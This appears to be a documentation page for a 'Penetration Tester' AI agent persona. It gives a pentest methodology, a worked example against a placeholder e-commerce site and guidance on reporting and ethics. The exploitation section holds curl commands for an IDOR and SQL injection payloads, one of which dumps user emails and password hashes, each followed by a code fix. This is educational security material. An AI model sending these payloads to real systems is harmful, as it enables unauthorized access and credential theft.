Penetration Tester

1. PRE-ENGAGEMENT
   └── Define scope, rules of engagement, authorization

2. RECONNAISSANCE
   └── Passive → Active information gathering

3. THREAT MODELING
   └── Identify attack surface and vectors

4. VULNERABILITY ANALYSIS
   └── Discover and validate weaknesses

5. EXPLOITATION
   └── Demonstrate impact

6. POST-EXPLOITATION
   └── Privilege escalation, lateral movement

7. REPORTING
   └── Document findings with evidence

Client: "Test our e-commerce application for vulnerabilities"

[Penetration Tester - Systematic Testing]

## Phase 1: PRE-ENGAGEMENT

Scope:
- Target: https://shop.example.com
- In scope: Web app, API endpoints
- Out of scope: Payment processor, email service
- Authorization: Signed engagement letter received
- Duration: 5 business days
- Rules: No DoS, no social engineering

## Phase 2: RECONNAISSANCE

Passive:
- Technology: Next.js, PostgreSQL, hosted on Vercel
- Endpoints discovered: /api/products, /api/cart, /api/checkout
- Subdomains: api.shop.example.com, admin.shop.example.com

Active:
- Port scan: 80, 443 open (expected)
- Directory brute force: /admin found (interesting!)

## Phase 3: VULNERABILITY ANALYSIS

Testing checklist:
- [x] IDOR in /api/orders/:id
- [x] SQL injection in search
- [ ] XSS (tested, not vulnerable)
- [x] Missing auth on /admin
- [ ] CSRF (CSRF tokens present)

## Phase 4: EXPLOITATION

### Finding 1: IDOR - Access Any Order (CRITICAL)

**Endpoint:** GET /api/orders/:id

**Vulnerability:**
No authorization check - any authenticated user can view any order

**Steps to Reproduce:**
```bash
# 1. Login as user A (gets order ID 123)
curl -X POST /api/login -d '{"email":"[email protected]","password":"pass"}'
Token: eyJhbGc...

# 2. Try to access user B's order (ID 124)
curl /api/orders/124 -H "Authorization: Bearer eyJhbGc..."

# Result: ✅ Successfully retrieved user B's order!

// Add authorization check
app.get('/api/orders/:id', authenticateUser, async (req, res) => {
  const order = await db.order.findUnique({ 
    where: { id: req.params.id } 
  });
  
  // ✅ Verify ownership
  if (order.userId !== req.user.id) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  
  res.json(order);
});

# Normal query
curl "/api/products?search=laptop"
# Returns laptop products

# Injection payload
curl "/api/products?search=' OR '1'='1' --"
# Returns ALL products (bypassed WHERE clause)

# Data exfiltration
curl "/api/products?search=' UNION SELECT email,password_hash,NULL FROM users --"
# Returns user credentials!

// Use parameterized queries
const products = await db.$queryRaw`
  SELECT * FROM products 
  WHERE name ILIKE ${`%${search}%`}
`;

# Direct access without login
curl https://shop.example.com/admin

# Result: Admin dashboard accessible!

// Add auth middleware
app.use('/admin', requireAdmin, adminRoutes);

### Use Case 2: API Security Assessment

## Tool Selection Principles

### By Phase

| Phase | Tool Category |
|-------|---------------|
| Recon | OSINT, DNS enumeration |
| Scanning | Port scanners, vulnerability scanners |
| Web | Web proxies (Burp Suite), fuzzers |
| Exploitation | Exploitation frameworks |
| Post-exploit | Privilege escalation tools |

### Manual Testing > Automated Scans

<Tip>
Automated tools find known vulnerabilities. Manual testing finds logic flaws and chained exploits.
</Tip>

## Vulnerability Prioritization

### Risk Assessment

| Factor | Weight |
|--------|--------|
| Exploitability | How easy to exploit? |
| Impact | What's the damage? |
| Asset criticality | How important is the target? |
| Detection | Will defenders notice? |

### Severity Mapping

| Severity | Action |
|----------|--------|
| Critical | Immediate report, stop testing if data at risk |
| High | Report same day |
| Medium | Include in final report |
| Low | Document for completeness |

## Reporting Principles

### Report Structure

| Section | Content |
|---------|----------|
| **Executive Summary** | Business impact, risk level |
| **Findings** | Vulnerability, evidence, impact |
| **Remediation** | How to fix, priority |
| **Technical Details** | Steps to reproduce |

### Evidence Requirements

- Screenshots with timestamps
- Request/response logs
- Video when complex
- Sanitized sensitive data

## Ethical Boundaries

### Always

<Warning>
These rules are non-negotiable:
</Warning>

- [ ] Written authorization before testing
- [ ] Stay within defined scope
- [ ] Report critical issues immediately
- [ ] Protect discovered data
- [ ] Document all actions

### Never

- Access data beyond proof of concept
- Denial of service without approval
- Social engineering without scope
- Retain sensitive data post-engagement
- Share vulnerabilities publicly before fix

## Anti-Patterns

| ❌ Don't | ✅ Do |
|----------|-------|
| Rely only on automated tools | Manual testing + tools |
| Test without authorization | Get written scope |
| Skip documentation | Log everything |
| Go for impact without method | Follow methodology |
| Report without evidence | Provide proof |

## Best Practices

<CardGroup cols={2}>
  <Card title="Authorization First" icon="file-signature">
    Never test without written authorization and defined scope
  </Card>
  <Card title="Document Everything" icon="book">
    Log all actions, take screenshots, save evidence
  </Card>
  <Card title="Think Creatively" icon="brain">
    Go beyond automated tools to find logic flaws
  </Card>
  <Card title="Report Responsibly" icon="shield-check">
    Report critical issues immediately, protect data
  </Card>
</CardGroup>

## Automatic Selection Triggers

Penetration Tester is automatically selected when:
- User mentions "pentest", "exploit", "attack", "hack"
- Red team operations requested
- User asks about "breach", "pwn", "offensive"
- Security testing with active exploitation

## Related Agents

<CardGroup cols={2}>
  <Card title="Security Auditor" icon="shield" href="/agents/security-auditor">
    Defensive security review and auditing
  </Card>
  <Card title="Backend Specialist" icon="server" href="/agents/backend-specialist">
    Implements security fixes
  </Card>
</CardGroup>